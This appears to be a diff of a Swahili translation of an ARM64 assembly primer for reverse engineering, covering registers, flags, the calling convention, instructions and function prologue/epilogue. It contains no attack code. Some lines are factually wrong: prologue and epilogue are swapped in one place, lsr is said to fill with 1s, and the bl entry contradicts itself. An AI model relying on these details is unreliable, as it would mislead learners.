**`sp`** - **Kielelezo cha Stack**, kinachotumika kufuatilia kilele cha stack. -- thamani ya **`sp`** inapaswa kudumishwa kuwa angalau **quadword** **mwelekeo** au mwelekeo wa makosa unaweza kutokea. -10. **`pc`** - **Kikokotoo cha Programu**, ambacho kinaelekeza kwenye amri inayofuata. Register hii inaweza kusasishwa tu kupitia uzalishaji wa makosa, marejesho ya makosa, na matawi. Amri pekee za kawaida zinazoweza kusoma register hii ni amri za tawi na kiungo (BL, BLR) kuhifadhi anwani ya **`pc`** katika **`lr`** (Register ya Kiungo). -11. **`xzr`** - **Register ya Sifuri**. Pia inaitwa **`wzr`** katika fomu yake ya register **32**-bit. Inaweza kutumika kupata thamani ya sifuri kwa urahisi (operesheni ya kawaida) au kufanya kulinganisha kwa kutumia **`subs`** kama **`subs XZR, Xn, #10`** ikihifadhi data inayotokana mahali popote (katika **`xzr`**). +- Ikiwa kazi ya sasa inakwenda kuita kazi mpya na hivyo kuandika `lr`, itahifadhiwa kwenye stack mwanzoni, hii ni epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kurejeshwa mwishoni, hii ni prologue (`ldp x29, x30, [sp], #48; ret` -> Rejesha `fp` na `lr` na rudi). +9. **`sp`** - **Pointer ya Stack**, inatumika kufuatilia kilele cha stack. +- thamani ya **`sp`** inapaswa kuwekwa kuwa angalau **quadword** **mwelekeo** au mwelekeo wa makosa unaweza kutokea. +10. **`pc`** - **Kikundi cha Programu**, ambacho kinaelekeza kwenye amri inayofuata. Register hii inaweza kusasishwa tu kupitia uzalishaji wa makosa, marejeo ya makosa, na matawi. Amri pekee za kawaida zinazoweza kusoma register hii ni amri za tawi na kiungo (BL, BLR) kuhifadhi anwani ya **`pc`** katika **`lr`** (Register ya Kiungo). +11. **`xzr`** - **Register ya Sifuri**. Pia inaitwa **`wzr`** katika fomu yake ya register ya **32**-bit. Inaweza kutumika kupata thamani ya sifuri kwa urahisi (operesheni ya kawaida) au kufanya kulinganisha kwa kutumia **`subs`** kama **`subs XZR, Xn, #10`** ikihifadhi data inayotokana mahali popote (katika **`xzr`**). -Register za **`Wn`** ni toleo la **32bit** la register **`Xn`**. +Register za **`Wn`** ni toleo la **32bit** la register za **`Xn`**. ### SIMD na Register za Pointi za Kuogelea @@ -51,11 +51,11 @@ Zaidi ya hayo, kuna register nyingine **32 za urefu wa 128bit** ambazo zinaweza ### Register za Mfumo -**Kuna mamia ya register za mfumo**, pia zinajulikana kama register za matumizi maalum (SPRs), zinatumika kwa **kuangalia** na **kudhibiti** tabia za **processors**.\ -Zinaweza kusomwa au kuwekwa tu kwa kutumia amri maalum zilizotengwa **`mrs`** na **`msr`**. +**Kuna mamia ya register za mfumo**, pia zinazoitwa register za matumizi maalum (SPRs), zinatumika kwa **kuangalia** na **kudhibiti** tabia za **processors**.\ +Zinaweza kusomwa au kuwekwa tu kwa kutumia amri maalum iliyotengwa **`mrs`** na **`msr`**. -Register maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa uhandisi wa kurudi. Kiambatisho cha `EL0` kinaonyesha **kigezo kidogo** ambacho register inaweza kufikiwa (katika kesi hii EL0 ni kiwango cha kawaida cha kigezo (ruhusa) ambacho programu za kawaida zinakimbia).\ -Mara nyingi hutumiwa kuhifadhi **anwani ya msingi ya eneo la uhifadhi wa thread-local** la kumbukumbu. Kawaida ya kwanza inasomeka na kuandikwa kwa programu zinazokimbia katika EL0, lakini ya pili inaweza kusomwa kutoka EL0 na kuandikwa kutoka EL1 (kama kernel). +Register maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa uhandisi wa kurudi. Kiambishi cha `EL0` kinaonyesha **kigezo kidogo** ambacho register inaweza kufikiwa (katika kesi hii EL0 ni kiwango cha kawaida cha kigezo (ruhusa) ambacho programu za kawaida zinakimbia).\ +Mara nyingi hutumiwa kuhifadhi **anwani ya msingi ya eneo la uhifadhi wa thread-local** la kumbukumbu. Kwa kawaida ya kwanza inaweza kusomwa na kuandikwa kwa programu zinazokimbia katika EL0, lakini ya pili inaweza kusomwa kutoka EL0 na kuandikwa kutoka EL1 (kama kernel). - `mrs x0, TPIDR_EL0 ; Soma TPIDR_EL0 ndani ya x0` - `msr TPIDR_EL0, X0 ; Andika x0 ndani ya TPIDR_EL0` @@ -68,31 +68,31 @@ Hizi ndizo sehemu zinazoweza kufikiwa:
- Bendera za hali **`N`**, **`Z`**, **`C`** na **`V`**: -- **`N`** inamaanisha operesheni ilitoa matokeo hasi -- **`Z`** inamaanisha operesheni ilitoa sifuri +- **`N`** inamaanisha operesheni ilizalisha matokeo hasi +- **`Z`** inamaanisha operesheni ilizalisha sifuri - **`C`** inamaanisha operesheni ilibeba -- **`V`** inamaanisha operesheni ilitoa overflow iliyosainiwa: -- Jumla ya nambari mbili chanya inatoa matokeo hasi. -- Jumla ya nambari mbili hasi inatoa matokeo chanya. -- Katika utoaji, wakati nambari kubwa hasi inatolewa kutoka kwa nambari ndogo chanya (au kinyume chake), na matokeo hayawezi kuwakilishwa ndani ya upeo wa ukubwa wa bit uliotolewa. -- Kwa wazi processor haijui operesheni hiyo ina saini au la, hivyo itakagua C na V katika operesheni na kuashiria ikiwa kubeba kumetokea katika kesi ilikuwa na saini au isiyo na saini. +- **`V`** inamaanisha operesheni ilizalisha overflow iliyosainiwa: +- Jumla ya nambari mbili chanya inazalisha matokeo hasi. +- Jumla ya nambari mbili hasi inazalisha matokeo chanya. +- Katika utofauti, wakati nambari kubwa hasi inatolewa kutoka kwa nambari ndogo chanya (au kinyume chake), na matokeo hayawezi kuwakilishwa ndani ya upeo wa ukubwa wa bit uliopewa. +- Kwa wazi processor haijui operesheni hiyo ina saini au la, hivyo itakagua C na V katika operesheni na kuashiria ikiwa kubeba kumetokea katika kesi ilikuwa ya saini au isiyo ya saini. > [!WARNING] > Si amri zote zinazosasisha bendera hizi. Baadhi kama **`CMP`** au **`TST`** hufanya hivyo, na nyingine ambazo zina kiambishi cha s kama **`ADDS`** pia hufanya hivyo. -- Bendera ya **upana wa register wa sasa (`nRW`)**: Ikiwa bendera ina thamani 0, programu itakimbia katika hali ya utekelezaji ya AArch64 mara itakaporejeshwa. +- Bendera ya **upana wa sasa wa register (`nRW`)**: Ikiwa bendera ina thamani 0, programu itakimbia katika hali ya utekelezaji ya AArch64 mara itakaporejeshwa. - **Kiwango cha Kigezo** (**`EL`**): Programu ya kawaida inayokimbia katika EL0 itakuwa na thamani 0 - Bendera ya **kuangalia moja** (**`SS`**): Inatumika na debuggers kuangalia moja kwa moja kwa kuweka bendera ya SS kuwa 1 ndani ya **`SPSR_ELx`** kupitia kigezo. Programu itakimbia hatua moja na kutoa kigezo cha hatua moja. - Bendera ya hali ya **kigezo kisichofaa** (**`IL`**): Inatumika kuashiria wakati programu yenye ruhusa inafanya uhamisho wa kiwango cha kigezo kisichofaa, bendera hii inawekwa kuwa 1 na processor inasababisha kigezo kisichofaa. - Bendera za **`DAIF`**: Bendera hizi zinaruhusu programu yenye ruhusa kuchuja kwa hiari kigezo fulani za nje. -- Ikiwa **`A`** ni 1 inamaanisha **kuanzishwa kwa asynchronous** kutasababisha. **`I`** inasanidiwa kujibu **Maombi ya Interrupt ya vifaa vya nje** (IRQs). na F inahusiana na **Maombi ya Interrupt ya Haraka** (FIRs). -- Bendera za **uchaguzi wa kielelezo cha stack** (**`SPS`**): Programu zenye ruhusa zinazokimbia katika EL1 na zaidi zinaweza kubadilisha kati ya kutumia register yao ya kielelezo cha stack na ile ya mtumiaji (k.m. kati ya `SP_EL1` na `EL0`). Kubadilisha hii inafanywa kwa kuandika kwenye register maalum ya **`SPSel`**. Hii haiwezi kufanywa kutoka EL0. +- Ikiwa **`A`** ni 1 inamaanisha **kuondolewa kwa asynchronous** kutasababisha. **`I`** inasanidiwa kujibu **Maombi ya Interrupts ya vifaa vya nje** (IRQs). na F inahusiana na **Maombi ya Interrupts ya Haraka** (FIRs). +- Bendera za **uchaguzi wa pointer ya stack** (**`SPS`**): Programu zenye ruhusa zinazokimbia katika EL1 na juu zinaweza kubadilisha kati ya kutumia register yao ya pointer ya stack na ile ya mtumiaji (k.m. kati ya `SP_EL1` na `EL0`). Kubadilisha hii inafanywa kwa kuandika kwenye register maalum ya **`SPSel`**. Hii haiwezi kufanywa kutoka EL0. ## **Mkataba wa Wito (ARM64v8)** -Mkataba wa wito wa ARM64 unasisitiza kwamba **vigezo vinane vya kwanza** kwa kazi vinapitishwa katika register **`x0` hadi `x7`**. **Vigezo vya ziada** vinapitishwa kwenye **stack**. Thamani ya **kurudi** inarudishwa katika register **`x0`**, au katika **`x1`** pia **ikiwa ni 128 bits ndefu**. Register za **`x19`** hadi **`x30`** na **`sp`** lazima **zihifadhiwe** wakati wa wito wa kazi. +Mkataba wa wito wa ARM64 unasisitiza kwamba **vigezo vinane vya kwanza** kwa kazi vinapitishwa katika register **`x0` hadi `x7`**. **Vigezo** vya ziada vinapitishwa kwenye **stack**. Thamani ya **kurudi** inarudishwa katika register **`x0`**, au katika **`x1`** pia **ikiwa ni 128 bits ndefu**. Register za **`x19`** hadi **`x30`** na **`sp`** lazima **zihifadhiwe** kati ya wito wa kazi. -Wakati wa kusoma kazi katika assembly, angalia **prologue na epilogue ya kazi**. **Prologue** kawaida inahusisha **kuhifadhi kielelezo cha fremu (`x29`)**, **kuweka** kielelezo **kipya cha fremu**, na **kuandaa nafasi ya stack**. **Epilogue** kawaida inahusisha **kurejesha kielelezo cha fremu kilichohifadhiwa** na **kurudi** kutoka kwa kazi. +Wakati wa kusoma kazi katika assembly, angalia **prologue na epilogue ya kazi**. **Prologue** kwa kawaida inahusisha **kuhifadhi pointer ya frame (`x29`)**, **kuweka** pointer mpya ya frame, na **kuandaa nafasi ya stack**. **Epilogue** kwa kawaida inahusisha **kurejesha pointer ya frame iliyohifadhiwa** na **kurudi** kutoka kwa kazi. ### Mkataba wa Wito katika Swift @@ -106,26 +106,26 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc - Mfano: `mov x0, x1` — Hii inahamisha thamani kutoka `x1` hadi `x0`. - **`ldr`**: **Pakia** thamani kutoka **kumbukumbu** hadi **register**. - Mfano: `ldr x0, [x1]` — Hii inapakua thamani kutoka eneo la kumbukumbu lililoonyeshwa na `x1` hadi `x0`. -- **Njia ya Offset**: Offset inayohusiana na kiashiria cha asili inaonyeshwa, kwa mfano: -- `ldr x2, [x1, #8]`, hii itapakia x2 thamani kutoka x1 + 8 -- `ldr x2, [x0, x1, lsl #2]`, hii itapakia x2 kitu kutoka kwenye array x0, kutoka kwenye nafasi x1 (index) \* 4 -- **Njia ya Pre-indexed**: Hii itatumika kwa hesabu kwenye asili, kupata matokeo na pia kuhifadhi asili mpya kwenye asili. -- `ldr x2, [x1, #8]!`, hii itapakia `x1 + 8` ndani ya `x2` na kuhifadhi katika x1 matokeo ya `x1 + 8` +- **Hali ya Offset**: Offset inayohusisha kiashiria cha asili inaonyeshwa, kwa mfano: +- `ldr x2, [x1, #8]`, hii itapakia katika x2 thamani kutoka x1 + 8 +- `ldr x2, [x0, x1, lsl #2]`, hii itapakia katika x2 kitu kutoka kwenye array x0, kutoka kwenye nafasi x1 (index) \* 4 +- **Hali ya Pre-indexed**: Hii itatumia hesabu kwa asili, kupata matokeo na pia kuhifadhi asili mpya katika asili. +- `ldr x2, [x1, #8]!`, hii itapakia `x1 + 8` katika `x2` na kuhifadhi katika x1 matokeo ya `x1 + 8` - `str lr, [sp, #-4]!`, Hifadhi register ya kiungo katika sp na sasisha register sp -- **Njia ya Post-index**: Hii ni kama ile ya awali lakini anwani ya kumbukumbu inafikiwa na kisha offset inakokotwa na kuhifadhiwa. -- `ldr x0, [x1], #8`, pakia `x1` ndani ya `x0` na sasisha x1 na `x1 + 8` -- **Kuhusisha anwani ya PC**: Katika kesi hii anwani ya kupakia inakokotwa kulingana na register ya PC -- `ldr x1, =_start`, Hii itapakia anwani ambapo alama ya `_start` inaanzia ndani ya x1 inayohusiana na PC ya sasa. +- **Hali ya Post-index**: Hii ni kama ile ya awali lakini anwani ya kumbukumbu inafikiwa na kisha offset inakokotwa na kuhifadhiwa. +- `ldr x0, [x1], #8`, pakia `x1` katika `x0` na sasisha x1 na `x1 + 8` +- **Uelekeo wa PC-relative**: Katika kesi hii anwani ya kupakia inakokotwa kulingana na register ya PC +- `ldr x1, =_start`, Hii itapakia anwani ambapo alama ya `_start` inaanza katika x1 inayohusiana na PC ya sasa. - **`str`**: **Hifadhi** thamani kutoka **register** hadi **kumbukumbu**. - Mfano: `str x0, [x1]` — Hii inahifadhi thamani katika `x0` kwenye eneo la kumbukumbu lililoonyeshwa na `x1`. -- **`ldp`**: **Pakia Jozi za Register**. Amri hii **inapakia register mbili** kutoka **sehemu za mfululizo za kumbukumbu**. Anwani ya kumbukumbu kawaida huundwa kwa kuongeza offset kwa thamani katika register nyingine. +- **`ldp`**: **Pakia Jozi za Register**. Amri hii **inapakia register mbili** kutoka **sehemu za kumbukumbu** zinazofuatana. Anwani ya kumbukumbu kwa kawaida inaundwa kwa kuongeza offset kwa thamani katika register nyingine. - Mfano: `ldp x0, x1, [x2]` — Hii inapakua `x0` na `x1` kutoka maeneo ya kumbukumbu katika `x2` na `x2 + 8`, mtawalia. -- **`stp`**: **Hifadhi Jozi za Register**. Amri hii **inahifadhi register mbili** kwenye **sehemu za mfululizo za kumbukumbu**. Anwani ya kumbukumbu kawaida huundwa kwa kuongeza offset kwa thamani katika register nyingine. +- **`stp`**: **Hifadhi Jozi za Register**. Amri hii **inahifadhi register mbili** kwenye **sehemu za kumbukumbu** zinazofuatana. Anwani ya kumbukumbu kwa kawaida inaundwa kwa kuongeza offset kwa thamani katika register nyingine. - Mfano: `stp x0, x1, [sp]` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu katika `sp` na `sp + 8`, mtawalia. - `stp x0, x1, [sp, #16]!` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu katika `sp+16` na `sp + 24`, mtawalia, na sasisha `sp` na `sp+16`. - **`add`**: **Ongeza** thamani za register mbili na uhifadhi matokeo katika register. - Sintaksia: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] -- Xn1 -> Malengo +- Xn1 -> Marudio - Xn2 -> Operandi 1 - Xn3 | #imm -> Operandi 2 (register au papo hapo) - \[shift #N | RRX] -> Fanya shift au piga RRX @@ -142,33 +142,33 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc - Mfano: `div x0, x1, x2` — Hii inagawanya thamani katika `x1` kwa `x2` na kuhifadhi matokeo katika `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: - **Shift ya Kihisia Kushoto**: Ongeza 0s kutoka mwisho ukihamisha bits nyingine mbele (ongeza kwa n-mara 2) -- **Shift ya Kihisia Kulia**: Ongeza 1s mwanzoni ukihamisha bits nyingine nyuma (gawanya kwa n-mara 2 katika isiyo na saini) +- **Shift ya Kihisia Kulia**: Ongeza 1s mwanzoni ukihamisha bits nyingine nyuma (gawanya kwa n-mara 2 katika isiyo ya saini) - **Shift ya Kihisia Kulia**: Kama **`lsr`**, lakini badala ya kuongeza 0s ikiwa bit muhimu zaidi ni 1, **1s zinaongezwa** (gawanya kwa n-mara 2 katika saini) -- **Pindua Kulia**: Kama **`lsr`** lakini chochote kinachondolewa kutoka kulia kinajumuishwa kushoto -- **Pindua Kulia na Kuongeza**: Kama **`ror`**, lakini na bendera ya kubeba kama "bit muhimu zaidi". Hivyo bendera ya kubeba inahamishwa kwa bit 31 na bit iliyondolewa kwa bendera ya kubeba. -- **`bfm`**: **Hamisha Uwanja wa Bit**, operesheni hizi **nakala bits `0...n`** kutoka thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inaonyesha **nafasi ya bit ya kushoto** na **`#r`** kiwango cha **kuhamasisha kulia**. -- Hamisha uwanja wa bit: `BFM Xd, Xn, #r` -- Hamisha uwanja wa bit wenye saini: `SBFM Xd, Xn, #r, #s` -- Hamisha uwanja wa bit usio na saini: `UBFM Xd, Xn, #r, #s` -- **Kutoa na Kuingiza Uwanja wa Bit:** Nakala uwanja wa bit kutoka register moja na kuhamasisha kwenye register nyingine. +- **Piga Kulia**: Kama **`lsr`** lakini chochote kinachondolewa kutoka kulia kinatolewa kushoto +- **Piga Kulia na Kuongeza**: Kama **`ror`**, lakini na bendera ya kubeba kama "bit muhimu zaidi". Hivyo bendera ya kubeba inahamishwa kwa bit 31 na bit iliyondolewa kwa bendera ya kubeba. +- **`bfm`**: **Hamisha Bit Filed**, operesheni hizi **nakala bits `0...n`** kutoka kwa thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inaashiria **nafasi ya bit ya kushoto** na **`#r`** ni **kiasi cha kuhamasisha kulia**. +- Hamisha bitfiled: `BFM Xd, Xn, #r` +- Hamisha Bitfield ya Saini: `SBFM Xd, Xn, #r, #s` +- Hamisha Bitfield isiyo ya Saini: `UBFM Xd, Xn, #r, #s` +- **Hamisha na Ingiza Bitfield:** Nakala bitfield kutoka register moja na kuhamasisha kwenye register nyingine. - **`BFI X1, X2, #3, #4`** Ingiza bits 4 kutoka X2 kutoka bit ya 3 ya X1 - **`BFXIL X1, X2, #3, #4`** Toa kutoka bit ya 3 ya X2 bits nne na kuhamasisha kwenye X1 - **`SBFIZ X1, X2, #3, #4`** Ongeza saini bits 4 kutoka X2 na kuhamasisha kwenye X1 kuanzia kwenye nafasi ya bit 3 ikizima bits za kulia - **`SBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia bit 3 kutoka X2, inaongeza saini, na kuweka matokeo katika X1 - **`UBFIZ X1, X2, #3, #4`** Ongeza sifuri bits 4 kutoka X2 na kuhamasisha kwenye X1 kuanzia kwenye nafasi ya bit 3 ikizima bits za kulia - **`UBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia bit 3 kutoka X2 na kuweka matokeo yaliyoongezwa sifuri katika X1. -- **Ongeza Saini kwa X:** Ongeza saini (au ongeza tu 0s katika toleo lisilo na saini) ya thamani ili uweze kufanya operesheni nayo: +- **Ongeza Saini kwa X:** Ongeza saini (au ongeza tu 0s katika toleo lisilo la saini) la thamani ili uweze kufanya operesheni nayo: - **`SXTB X1, W2`** Ongeza saini ya byte **kutoka W2 hadi X1** (`W2` ni nusu ya `X2`) ili kujaza 64bits - **`SXTH X1, W2`** Ongeza saini ya nambari ya 16bit **kutoka W2 hadi X1** ili kujaza 64bits - **`SXTW X1, W2`** Ongeza saini ya byte **kutoka W2 hadi X1** ili kujaza 64bits -- **`UXTB X1, W2`** Ongeza 0s (isiyo na saini) kwa byte **kutoka W2 hadi X1** ili kujaza 64bits +- **`UXTB X1, W2`** Ongeza 0s (isiyo ya saini) kwa byte **kutoka W2 hadi X1** ili kujaza 64bits - **`extr`:** Inatoa bits kutoka **jozi maalum za register zilizounganishwa**. -- Mfano: `EXTR W3, W2, W1, #3` Hii itajumuisha **W1+W2** na kupata **kuanzia bit 3 ya W2 hadi bit 3 ya W1** na kuhifadhi katika W3. -- **`cmp`**: **Linganisha** register mbili na kuweka bendera za hali. Ni **alias ya `subs`** ikiseti register ya malengo kuwa register ya sifuri. Inafaida kujua ikiwa `m == n`. +- Mfano: `EXTR W3, W2, W1, #3` Hii itafanya **kuunganisha W1+W2** na kupata **kuanzia bit 3 ya W2 hadi bit 3 ya W1** na kuhifadhi katika W3. +- **`cmp`**: **Linganisha** register mbili na kuweka bendera za hali. Ni **alias ya `subs`** ikiseti register ya marudio kuwa register ya sifuri. Inafaida kujua ikiwa `m == n`. - Inasaidia **sintaksia sawa na `subs`** - Mfano: `cmp x0, x1` — Hii inalinganisha thamani katika `x0` na `x1` na kuweka bendera za hali ipasavyo. - **`cmn`**: **Linganishi operand hasi**. Katika kesi hii ni **alias ya `adds`** na inasaidia sintaksia sawa. Inafaida kujua ikiwa `m == -n`. -- **`ccmp`**: Linganisha kwa masharti, ni kulinganisha ambayo itafanywa tu ikiwa kulinganisha ya awali ilikuwa kweli na itaseti bits za nzcv kwa usahihi. +- **`ccmp`**: Linganisha kwa masharti, ni kulinganisha ambayo itafanywa tu ikiwa kulinganisha kwa awali ilikuwa kweli na itaseti bits za nzcv kwa usahihi. - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ikiwa x1 != x2 na x3 < x4, ruka kwa func - Hii ni kwa sababu **`ccmp`** itatekelezwa tu ikiwa **`cmp` ya awali ilikuwa `NE`**, ikiwa haikuwa bits `nzcv` zitawekwa kuwa 0 (ambayo haitaridhisha kulinganisha `blt`). - Hii pia inaweza kutumika kama `ccmn` (sawa lakini hasi, kama `cmp` dhidi ya `cmn`). @@ -177,28 +177,28 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc - **`teq`**: Operesheni ya XOR ikitenga matokeo - **`b`**: Tawi lisilo na masharti - Mfano: `b myFunction` -- Kumbuka kwamba hii haitajaza register ya kiungo na anwani ya kurudi (siyo sahihi kwa wito wa subrutine zinazohitaji kurudi nyuma) -- **`bl`**: **Tawi** na kiungo, inatumika **kuita** **subroutine**. Inahifadhi **anwani ya kurudi katika `x30`**. +- Kumbuka kwamba hii haitajaza register ya kiungo na anwani ya kurudi (siyo sahihi kwa wito wa subrutine ambao unahitaji kurudi nyuma) +- **`bl`**: **Tawi** na kiungo, inatumika **kuita** **subroutine**. Hifadhi **anwani ya kurudi katika `x30`**. - Mfano: `bl myFunction` — Hii inaita kazi `myFunction` na kuhifadhi anwani ya kurudi katika `x30`. -- Kumbuka kwamba hii haitajaza register ya kiungo na anwani ya kurudi (siyo sahihi kwa wito wa subrutine zinazohitaji kurudi nyuma) -- **`blr`**: **Tawi** na Kiungo kwa Register, inatumika **kuita** **subroutine** ambapo lengo linatolewa katika **register**. Inahifadhi anwani ya kurudi katika `x30`. (Hii ni +- Kumbuka kwamba hii haitajaza register ya kiungo na anwani ya kurudi (siyo sahihi kwa wito wa subrutine ambao unahitaji kurudi nyuma) +- **`blr`**: **Tawi** na Kiungo kwa Register, inatumika **kuita** **subroutine** ambapo lengo linatolewa katika **register**. Hifadhi anwani ya kurudi katika `x30`. (Hii ni - Mfano: `blr x1` — Hii inaita kazi ambayo anwani yake inapatikana katika `x1` na kuhifadhi anwani ya kurudi katika `x30`. -- **`ret`**: **Rudi** kutoka **subroutine**, kawaida ikitumia anwani katika **`x30`**. -- Mfano: `ret` — Hii inarudi kutoka subroutine ya sasa ikitumia anwani ya kurudi katika `x30`. +- **`ret`**: **Rudi** kutoka **subroutine**, kwa kawaida ikitumia anwani katika **`x30`**. +- Mfano: `ret` — Hii inarudi kutoka kwa subroutine ya sasa ikitumia anwani ya kurudi katika `x30`. - **`b.`**: Matawi ya masharti - **`b.eq`**: **Tawi ikiwa sawa**, kulingana na amri ya awali ya `cmp`. - Mfano: `b.eq label` — Ikiwa amri ya awali ya `cmp` iligundua thamani mbili sawa, hii inaruka kwa `label`. - **`b.ne`**: **Tawi ikiwa Siyo Sawa**. Amri hii inakagua bendera za hali (ambazo ziliwekwa na amri ya kulinganisha ya awali), na ikiwa thamani zilizolinganishwa hazikuwa sawa, inatunga kwa lebo au anwani. - Mfano: Baada ya amri ya `cmp x0, x1`, `b.ne label` — Ikiwa thamani katika `x0` na `x1` hazikuwa sawa, hii inaruka kwa `label`. -- **`cbz`**: **Linganishi na Tawi kwenye Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa sawa, inatunga kwa lebo au anwani. +- **`cbz`**: **Linganishi na Tawi kwa Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa sawa, inatunga kwa lebo au anwani. - Mfano: `cbz x0, label` — Ikiwa thamani katika `x0` ni sifuri, hii inaruka kwa `label`. -- **`cbnz`**: **Linganishi na Tawi kwenye Siyo Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa hazikuwa sawa, inatunga kwa lebo au anwani. +- **`cbnz`**: **Linganishi na Tawi kwa Siyo Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa hazikuwa sawa, inatunga kwa lebo au anwani. - Mfano: `cbnz x0, label` — Ikiwa thamani katika `x0` si sifuri, hii inaruka kwa `label`. -- **`tbnz`**: Jaribu bit na tawi kwenye si sifuri +- **`tbnz`**: Jaribu bit na tawi kwa siyo sifuri - Mfano: `tbnz x0, #8, label` -- **`tbz`**: Jaribu bit na tawi kwenye sifuri +- **`tbz`**: Jaribu bit na tawi kwa sifuri - Mfano: `tbz x0, #8, label` -- **Operesheni za kuchagua kwa masharti**: Hizi ni operesheni ambazo tabia zao zinabadilika kulingana na bits za masharti. +- **Operesheni za kuchagua kwa masharti**: Hizi ni operesheni ambazo tabia yake inabadilika kulingana na bits za masharti. - `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ikiwa kweli, X0 = X1, ikiwa si kweli, X0 = X2 - `csinc Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = Xn, ikiwa si kweli, Xd = Xm + 1 - `cinc Xd, Xn, cond` -> Ikiwa kweli, Xd = Xn + 1, ikiwa si kweli, Xd = Xn @@ -207,10 +207,10 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc - `csneg Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = Xn, ikiwa si kweli, Xd = - Xm - `cneg Xd, Xn, cond` -> Ikiwa kweli, Xd = - Xn, ikiwa si kweli, Xd = Xn - `cset Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = 1, ikiwa si kweli, Xd = 0 -- `csetm Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = \, ikiwa si kweli, Xd = 0 -- **`adrp`**: Hesabu **anwani ya ukurasa wa alama** na uhifadhi katika register. -- Mfano: `adrp x0, symbol` — Hii inahesabu anwani ya ukurasa wa `symbol` na kuihifadhi katika `x0`. -- **`ldrsw`**: **Pakia** thamani ya saini **32-bit** kutoka kumbukumbu na **ongeza saini hadi 64** bits. +- `csetm Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = \, ikiwa si kweli, Xd = 0 +- **`adrp`**: Hesabu **anwani ya ukurasa ya alama** na uhifadhi katika register. +- Mfano: `adrp x0, symbol` — Hii inahesabu anwani ya ukurasa ya `symbol` na kuihifadhi katika `x0`. +- **`ldrsw`**: **Pakia** thamani ya saini **ya 32-bit** kutoka kumbukumbu na **ongeza saini hadi 64** bits. - Mfano: `ldrsw x0, [x1]` — Hii inapakua thamani ya saini ya 32-bit kutoka eneo la kumbukumbu lililoonyeshwa na `x1`, inaongeza saini hadi 64 bits, na kuihifadhi katika `x0`. - **`stur`**: **Hifadhi thamani ya register kwenye eneo la kumbukumbu**, kwa kutumia offset kutoka register nyingine. - Mfano: `stur x0, [x1, #4]` — Hii inahifadhi thamani katika `x0` kwenye anwani ya kumbukumbu ambayo ni bytes 4 zaidi kuliko anwani iliyopo katika `x1`. @@ -219,36 +219,36 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc - Mfano: ```armasm -mov x8, 93 ; Load the system call number for exit (93) into register x8. -mov x0, 0 ; Load the exit status code (0) into register x0. -svc 0 ; Make the system call. +mov x8, 93 ; Pakia nambari ya wito wa mfumo kwa kutoka (93) ndani ya register x8. +mov x0, 0 ; Pakia msimamo wa kutoka (0) ndani ya register x0. +svc 0 ; Fanya wito wa mfumo. ``` ### **Prologue ya Kazi** -1. **Hifadhi register ya kiungo na kielelezo cha fremu kwenye stack**: +1. **Hifadhi register ya kiungo na pointer ya frame kwenye stack**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Weka kiashiria kipya cha fremu**: `mov x29, sp` (weka kiashiria kipya cha fremu kwa kazi ya sasa) -3. **Panga nafasi kwenye stack kwa ajili ya mabadiliko ya ndani** (ikiwa inahitajika): `sub sp, sp, ` (ambapo `` ni idadi ya bytes zinazohitajika) +2. **Weka kiashiria kipya cha fremu**: `mov x29, sp` (weka kiashiria kipya cha fremu kwa kazi ya sasa) +3. **Panga nafasi kwenye stack kwa ajili ya mabadiliko ya ndani** (ikiwa inahitajika): `sub sp, sp, ` (ambapo `` ni idadi ya bytes zinazohitajika) -### **Hitimisho la Kazi** +### **Epilogue ya Kazi** -1. **Ondoa mabadiliko ya ndani (ikiwa yoyote yalipangwa)**: `add sp, sp, ` +1. **Futa mabadiliko ya ndani (ikiwa yoyote yalikuwa yamepangwa)**: `add sp, sp, ` 2. **Rejesha kiashiria cha kiungo na kiashiria cha fremu**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (inarudisha udhibiti kwa mpiga simu kwa kutumia anwani katika register ya kiungo) +3. **Return**: `ret` (inarudisha udhibiti kwa mwito kwa kutumia anwani katika register ya kiungo) ## AARCH32 Hali ya Utendaji Armv8-A inasaidia utendaji wa programu za bit 32. **AArch32** inaweza kukimbia katika moja ya **seti mbili za maagizo**: **`A32`** na **`T32`** na inaweza kubadilisha kati yao kupitia **`interworking`**.\ -**Programu zenye mamlaka** za bit 64 zinaweza kupanga **utendaji wa programu za bit 32** kwa kutekeleza uhamisho wa kiwango cha kipekee kwa bit 32 zenye mamlaka ya chini.\ -Kumbuka kwamba mpito kutoka bit 64 hadi bit 32 unafanyika kwa kupunguza kiwango cha kipekee (kwa mfano, programu ya bit 64 katika EL1 ikichochea programu katika EL0). Hii inafanywa kwa kuweka **bit 4 ya** 